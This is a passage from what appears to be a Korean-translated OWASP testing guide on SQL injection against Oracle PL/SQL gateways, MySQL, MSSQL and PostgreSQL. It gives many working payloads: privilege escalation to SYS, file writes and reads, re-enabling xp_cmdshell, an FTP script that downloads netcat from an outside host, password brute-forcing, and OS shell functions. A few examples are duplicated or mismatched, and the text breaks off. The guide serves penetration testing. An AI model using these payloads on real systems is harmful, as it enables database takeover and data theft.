An attacker should pick one of these functions that is actually available on the target system (i.e., returns a 200 OK when requested). As a test, an attacker can request http://server.example.com/pls/dad/orasso.home?FOO=BAR the server should return a "404 File Not Found" response because the orasso.home procedure does not require parameters and one has been supplied. However, before the 404 is returned, the following PL/SQL is executed: .. .. if ((owa_match.match_pattern('orasso.home', simple_ list__, complex_list__, true))) then

rc__ := 2;
else
null;
orasso.wpg_session.init(); orasso.home(FOO=>:FOO);

Note the presence of FOO in the attacker's query string. Attackers can abuse this to run arbitrary SQL. First, they need to close the brackets: http://server.example.com/pls/dad/orasso.home?);--=BAR This results in the following PL/SQL being executed: .. orasso.home();--=>:);--); ..

Note that everything after the double minus (--) is treated as a comment. This request will cause an internal server error because one of the bind variables is no longer used, so the attacker needs to add it back. As it happens, it's this bind variable that is the key to running arbitrary PL/SQL. For the moment, they can just use HTP. PRINT to print BAR, and add the needed bind variable as :1: http://server.example.com/pls/dad/orasso.home?);HTP. PRINT(:1);--=BAR

This should return a 200 with the word "BAR" in the HTML. What's happening here is that everything after the equals sign - BAR in this case - is the data inserted into the bind variable. Using the same technique it's possible to also gain access to owa_util.cellsprint again: http://www.example.com/pls/dad/orasso.home?);OWA_ UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_ USERS To execute arbitrary SQL, including DML and DDL statements, the attacker inserts an execute immediate :1: http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual

Note that the output won't be displayed. This can be leveraged to exploit any PL/SQL injection bugs owned by SYS, thus enabling an attacker to gain complete control of the backend database server. For example, the following URL takes advantage of the SQL injection flaws in DBMS_EXPORT_EXTENSION (see http://secunia. com/advisories/19860) http://www.example.com/pls/dad/orasso.home?); execute%20immediate%20:1;--=DECLARE%20BUF%20 VARCHAR2(2000);%20BEGIN%20 BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES ('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_ LINE(:p1); EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20 PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS. OWA_UTIL''; END;--','SYS',1,'VER',0);END; Assessing Custom PL/SQL Web Applications During black box security assessments, the code of the custom PL/SQL application is not available, but it still needs to be assessed for security vulnerabilities. Testing for SQL Injection Each input parameter should be tested for SQL injection flaws. These are easy to find and confirm. Finding them is as easy as embedding a single quote into the parameter and checking for error responses (which include 404 Not Found errors). Confirming the presence of SQL injection can be performed using the concatenation operator. For example, assume there is a bookstore PL/SQL web application that allows users to search for books by a given author: http://www.example.com/pls/bookstore/books.search?au-thor=DICKENS If this request returns books by Charles Dickens, but http://www.example.com/pls/bookstore/books.search?author=DICK'ENS

returns an error or a 404, then there might be a SQL injection flaw. This can be confirmed by using the concatenation operator: http://www.example.com/pls/bookstore/books.search?au

thor=DICK'||'ENS If this request returns books by Charles Dickens, you've confirmed the presence of the SQL injection vulnerability.

References

Whitepapers



MySQL 테스트

개요

SQL Injection vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

MySQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.


테스트 방법

When an SQL injection vulnerability is found in an application backed by a MySQL database, there are a number of attacks that could be performed depending on the MySQL version and user privileges on DBMS. MySQL comes with at least four versions which are used in production worldwide, 3.23.x, 4.0.x, 4.1.x and 5.0.x. Every version has a set of features proportional to version number.

  • From Version 4.0: UNION
  • From Version 4.1: Subqueries
  • From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
  • From Version 5.0.2: Triggers

It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.

From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on Testing for SQL Injection.

http://www.example.com/page.php?id=2

싱글쿼터 문제

Before taking advantage of MySQL features, it has to be taken in consideration how strings could be represented in a statement, as often web applications escape single quotes.

MySQL quote escaping is the following:

'A string with \'quotes\''

That is, MySQL interprets escaped apostrophes (') as characters and not as metacharacters. So if the application, to work properly, needs to use constant strings, two cases are to be differentiated:

  1. Web app escapes single quotes (' => \')
  2. Web app does not escape single quotes (' => ')

Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.

Lets suppose we want to know the value of a field named 'password' in a record, with a condition like the following:

  1. password like 'A%'
  2. The ASCII values in a concatenated hex:
password LIKE 0x4125
  1. The char() function:
password LIKE CHAR(65,37)

다양한 혼합 쿼리

MySQL library connectors do not support multiple queries separated by ';' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server. For example the following injection will result in an error:

1 ; update tablename set code='javascript code' where 1 -

정보 수집

MySQL 핑거프린팅

Of course, the first thing to know is if there's MySQL DBMS as a back end database. MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL dialect. When a comment block ('/**/') contains an exclamation mark ('/! sql here/') it is interpreted by MySQL, and is considered as a normal comment block by other DBMS as explained in MySQL manual.

Example:

1 /*! and 1=0 */

Result Expected:

If MySQL is present, the clause inside the comment block will be interpreted.

Version

There are three ways to gain this information:

  1. By using the global variable @@version
  2. By using the function [VERSION()]

3. By using comment fingerprinting with a version number /!40110 and 1=0/ which means

if(version >= 4.1.10)
add 'and 1=0' to the query.

These are equivalent as the result is the same. In band injection:

1 AND 1=0 UNION SELECT @@version /*

Inferential injection:

1 AND @@version like '4.0%'

Result Expected:

A string like this:

5.0.22-log

Login User

There are two kinds of users MySQL Server relies upon.

  1. [USER()]: the user connected to the MySQL Server.
  2. [CURRENT_USER()]: the internal user who is executing the query.

There is some difference between 1 and 2. The main one is that an anonymous user could connect (if allowed) with any name, but the MySQL internal user is an empty name (''). Another difference is that a stored procedure or a stored function are executed as the creator user, if not declared elsewhere. This can be known by using CURRENT_USER. In band injection:

1 AND 1=0 UNION SELECT USER()

Inferential injection:

1 AND USER() like 'root%'

Result Expected:

A string like this:

user@hostname

Database name in use

There is the native function DATABASE() In band injection:

1 AND 1=0 UNION SELECT DATABASE()

Inferential injection:

1 AND DATABASE() like 'db%'

Result Expected:

A string like this:

dbname

INFORMATION_SCHEMA

From MySQL 5.0 a view named [INFORMATION_SCHEMA] was created. It allows us to get all informations about databases, tables, and columns, as well as procedures and functions. Here is a summary of some interesting Views.

Tables_in_INFORMATION_SCHEMA DESCRIPTION
..[skipped].. ..[skipped]..
SCHEMATA SELECT_priv를 가지고 있는 사용자의 모든 데이터베이스
SCHEMA_PRIVILEGES 사용자가 각각의 DB에 대해 가지고 있는 권한
TABLES SELECT_priv를 가지고 있는 사용자의 모든 테이블
TABLE_PRIVILEGES 사용자가 각각의 테이블에 대해 가지고 있는 권한
COLUMNS SELECT_priv를 가지고 있는 사용자의 모든 컬럼
COLUMN_PRIVILEGES 사용자가 각각의 컬럼에 대해 가지고 있는 권한
VIEWS SELECT_priv를 가지고 있는 사용자의 모든 데이터
ROUTINES 프로시저와 함수 (EXECUTE_priv 필요)
TRIGGERS 트리거 (INSERT_priv 필요)
USER_PRIVILEGES 접속 사용자가 가지는 권한

All of this information could be extracted by using known techniques as described in SQL Injection section.


공격 벡터

파일 쓰기

만약 연결한 사용자가 파일 권한을 가지고 있고 싱글쿼터로 빠져나갈 수 없다면, 'into outfile' 절이 파일에 쿼리 결과를 내보내는 데 사용할 수 있습니다.

Select * from table into outfile '/tmp/file'

Note: 파일명 주위의 싱글쿼터를 우회할 수 있는 방법이 없습니다. 그래서 만약 빠져나가는 것과 같은 싱글쿼터에 일부 필터링이 있다면, 'into outfile'절을 사용할 수 있는 방법이 없을 것입니다.

This kind of attack could be used as an out-of-band technique to gain information about the results of a query or to write a file which could be executed inside the web server directory.

예제

1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY
'//'  LINES TERMINATED BY '\n<%jsp code here%>';

예상 결과

결과는 MySQL 사용자와 그룹에 의한 rw-rw-rw 권한으로 파일에 저장됩니다. //var//www//root//test.jsp에 포함될 것 입니다.

//field values//
<%jsp code here%>

파일 읽기

Load_file은 파일 시스템 권한에 따라 파일을 읽을 수 있는 내부 함수입니다. 만약 연결된 사용자가 파일 권한을 가지고 있다면, 파일 내용을 얻기 위해 사용합니다. 싱글쿼터 취소 필터링은 이전에 설명했던 기술을 사용하여 우회할 수 있습니다.

load_file('filename')

예상 결과

전체 파일은 표준 기술을 사용하여 내보내기가 가능할 것입니다.


기본적인 SQL 인젝션 공격

In a standard SQL injection you can have results displayed directly in a page as normal output or as a MySQL error. By using already mentioned SQL Injection attacks and the already described MySQL features, direct SQL injection could be easily accomplished at a level depth depending primarily on the MySQL version the pentester is facing. A good attack is to know the results by forcing a function/procedureor the server itself to throw an error. A list of errors thrown by MySQL and in particular native functions could be found on MySQL Manual.


Out of band SQL 인젝션

Out of band injection could be accomplished by using the 'into out-file' clause.


블라인드 SQL 인젝션

블라인드 SQL 인젝션을 위해서는 MySQL 서버에서 유용한 기본 함수 리스트가 있습니다.

  • 문자열 길이
LENGTH(str)
  • 주어진 문자열로 부터 부분 문자 추출
SUBSTRING(string, offset, #chars_returned)
  • 시간 기반 블라인드 인젝션: BENCHMARK와 SLEEP
BENCHMARK(#ofcycles,action_to_be_performed )

The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.

See. SLEEP() (MySQL > 5.0.x) for an alternative on benchmark.


Tools


References

Whitepapers


Case Studies



MSSQL 테스트

개요

In this section some SQL Injection techniques that utilize specific features of Microsoft SQL Server will be discussed. SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database. As explained in SQL injection, a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:

  • Application parameters in query strings (e.g., GET requests)
  • Application parameters included as part of the body of a POST request
  • Browser-related information (e.g., user-agent, referrer)
  • Host-related information (e.g., host name, IP)
  • Session-related information (e.g., user ID, cookies)

Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.


테스트 방법

MSSQL 특징

시작하기 위해, 일부 SQL 서버 운영자 및 SQL 인젝션 테스트에 유용한 명령/저장 프로시저를 봅시다.

  1. 주석 연산자: -- (useful for forcing the query to ignore the remaining portion of the original query; this wont be necessary in every case)
  2. 쿼리 구분자: ; (세미콜론)
  3. 유용한 저장 프로시저를 포함:
  • [xp_cmdshell] executes any command shell in the server with the same permissions that it is currently running. By default, only sysadmin is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
  • xp_regread reads an arbitrary value from the Registry (undocumented extended procedure)
  • xp_regwrite writes an arbitrary value into the Registry (undocumented extended procedure)
  • [sp_makewebtask] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires sysadmin privileges.
  • [xp_sendmail] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.

Lets see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the exec function.

Below we show how to execute a shell command that writes the output of the command "dir c:inetpub" in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:

exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--

또한, 우리는 sp_makewebtask를 사용할 수 있습니다.:

exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt',
'select * from master.dbo.sysobjects'--

A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future. In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function db_name() to trigger an error that will return the name of the database:

/controlboard.asp?boardID=2&itemnum=1%20AND%20
1=CONVERT(int,%20db_name())

Notice the use of [convert]:

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )

CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.

The following example uses the environment variable @@version , combined with a "union select"-style injection, in order to find the version of the SQL Server.

/form.asp?prop=33%20union%20select%201,
2006-01-06,2007-01-06,1,'stat','name1',
'name2',2006-01-06,1,@@version%20--

And here's the same attack, but using again the conversion trick:

/form.asp?prop=33%20union%20select%20 1,
2006-01-06,2007-01-06,1,'stat','name1',
'name2',2006-01-06,1,@@version%20--

Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener.

In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.


예제 1: GET 요청에 SQL 인젝션 테스트

The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):

https://vulnerable.web.app/login.asp?
Username='%20or%20'1'='1&Password='%20or%20'1'='1

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.


예제 2: GET 요청에 SQL 인젝션 테스트

컬럼 길이 확인

https://vulnerable.web.app/list_report.aspx?
number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

예제 3: POST 요청에 테스트

SQL 인젝션, HTTP POST 내용:

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

전체 POST 예제: ` .. code-block:: html

POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1 Host: vulnerable.web.app User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en- US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13 Accept: text/xml,application/xml,application/xhtml+xml,text/ html;q=0.9,text/plain;q=0.8,image/png,*/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://vulnerable.web.app/forgotpass.asp Content-Type: application/x-www-form-urlencoded Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

싱글쿼터 문자가 이메일 필드에 입력되어 있을 때 에러 메시지는 아래와 같습니다.

PMicrosoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string  '.
/forgotpass.asp, line 15

예제 4: 또 다른 GET 예제

어플리케이션의 소스코드 얻기

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\
login.aspx c:\inetpub\wwwroot\login.txt';--

예제 5: custom xp_cmdshell

All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.

On SQL Server 2000:

  • If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
  • If the previous code does not work, it means that the xp_log70. dll has been moved or deleted. In this case we need to inject the following code:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait
int = 0) AS
    DECLARE @result int, @OLEResult int, @RunResult int
    DECLARE @ShellID int
    EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID
OUT
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @
OLEResult)
    EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null,
@cmd, 0, @Wait
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLERe
sult)
    EXECUTE @OLEResult = sp_OADestroy @ShellID
    return @result

This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod and sp_oadestroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_ cmdshell we created (even if it was not working), otherwise the two declarations will collide.

On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:

master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure

예제 6: Referer / User-Agent

The REFERER header set to:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent',
'some_ip'); [SQL CODE]-

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'

예제 7: 포트 스캐너로 SQL Server

In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foo
bar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','se
lect 1')-

This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned: General network error. Check your network documentation

OLE DB provider 'sqloledb' reported an error. The provider
did not give any information about the error.

On the other hand, if the port is open, one of the following errors will be returned: Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.


예제 8: 실행 파일 업로드

Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries: At this point, nc.exe will be uploaded and available.

exec master..xp_cmdshell 'echo open ftp.tester.org > ftp
script.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:

exec master..xp_cmdshell 'echo [debug script line #1 of n] >
debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >>
debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >>
debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--

At this point, our executable is available on the target machine, ready to be executed. There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).

Obtain information when it is not displayed (Out of band)

Not all is lost when the web application does not return any information --such as descriptive error messages (cf. Blind SQL Injection). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. Other options for out of band attacks are described in Sample 4 above.

블라인드 SQL 인젝션 공격

Trial and error

Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors (1) against this channel and watch the response. For example, if the web application is looking for a book using a query

select * from books where title=text entered by the user

then the penetration tester might enter the text: 'Bomba' OR 1=1- and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later play with the queries in order to assess the criticality of this vulnerability.


If more than one error message is displayed

On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any covert channel. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: . In some cases the web application (actually the web server) might return the traditional 500: Internal Server Error, say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes.

. While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers Internal server error or bad data.

This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit. Another out-of-band method is to output the results through HTTP browseable files.


Timing attacks

There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the waitfor delay command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:

select * from books where title=text entered by the user

Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a SQL injection vulnerability and a covert channel that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'

Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0
waitfor delay '0:0:5'

This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.

However, it might happen that the command waitfor is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end

버전과 취약점 확인

The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:

select @@version

OnSQL Server 2005, it will return something like the following:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14
2005 00:33:37 <snip>

The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:

if substring((select @@version),25,1) = 5 waitfor delay
'0:0:5'

Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.


예제 9: sysadmin 패스워드 무작위 공격

To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also "looped" to the local DB Server. Combining these features with an inferenced injection based on response timing, we can inject the following code:

select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select
1;waitfor delay ''0:0:5'' ')

What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to brute-force the sysadmin password using the CPU resources of the DB Server itself. Once we have the sysadmin password, we have two choices: . Inject all following queries using OPENROWSET, in order to use sysadmin privileges

. Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.

Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.


Tools

  • Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector]
  • Northern Monkee: [Bobcat]
  • icesurfer: SQL Server Takeover Tool - [sqlninja]
  • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool -http://sqlmap.org/

References

Whitepapers



OWASP Backend Security Project Testing PostgreSQL

개요

In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the following characteristics:

  • PHP Connector allows multiple statements to be executed by using ; as a statement separator
  • SQL Statements can be truncated by appending the comment char: --.
  • LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From now on it is assumed that http://www.example.com/news. php?id=1 is vulnerable to SQL Injection attacks.


테스트 방법

Identifying PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.

예제

In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

http://www.example.com/store.php?id=1 AND 1::int=1

An example of a banner string that could be returned is:

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc
(GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

블라인드 인젝션

For blind SQL injection attacks, you should take into consideration the following built-in functions:

  • 문자열 길이
LENGTH(str)
  • 주어진 문자열로 부터 부분 문자 추출
SUBSTR(str,index,offset)
  • String representation with no single quotes
CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail at Blind SQL Injection). In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

  • chr(n): Returns the character whose ASCII value corresponds to the number n
  • ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':

select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:

chr(114)||chr(111)||chr(111)||chr(116)

예제

http://www.example.com/store.php?id=1; UPDATE users
SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

예제

http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

The built-in function current_database() returns the current database name.

예제

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL-

Reading from a file

PostgreSQL provides two ways to access a local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY: This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.

예제

/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performing a UNION Query SQL Injection:

  • retrieves the number of rows previously added in file_store with COPY statement
  • retrieves a row at a time with UNION SQL Injection

예제

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-- ... ... /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

g_read_file():

This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS data directory.

예제

SELECT pg_read_file('server.key',0,1000);

Writing to a file

By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.


Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc. so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

  1. create a stdout table
CREATE TABLE stdout(id serial, system_out text)
  1. executing a shell command redirecting its stdout
SELECT system('uname -a > /tmp/test')
  1. use a COPY statements to push output of previous command in stdout table
COPY stdout(system_out) FROM '/tmp/test'
  1. retrieve output from stdout
SELECT system_out FROM stdout

예제

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text)--
/store.php?id=1; CREATE FUNCTION system(cstring) RE
TURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT--
/store.php?id=1; SELECT system('uname -a > /tmp/test')--
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/
test'--
/store.php?id=1 UNION ALL SELECT NULL,(SELECT sys
tem_out FROM stdout ORDER BY id DESC),NULL LIMIT 1
OFFSET 1--

plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG

  1. Check if PL/Python has been enabled on a database:
SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
  1. If not, try to enable:
CREATE LANGUAGE plpythonu
  1. If either of the above succeeded, create a proxy shell function:
CREATE FUNCTION proxyshell(text) RETURNS text
AS 'import os; return os.popen(args[0]).read()
'LANGUAGE plpythonu;--
  1. Have fun with:
SELECT proxyshell(os command);

예제

  1. Create a proxy shell function:
  • /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--

Since system returns an int how we can fetch results from system

  1. Run an OS Command:
  • /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.

  1. Check if PL/perl-untrusted has been enabled:
  • SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  1. If not, assuming that sysadm has already installed the plperl package, try :
  • CREATE LANGUAGE plperlu
  1. If either of the above succeeded, create a proxy shell function:
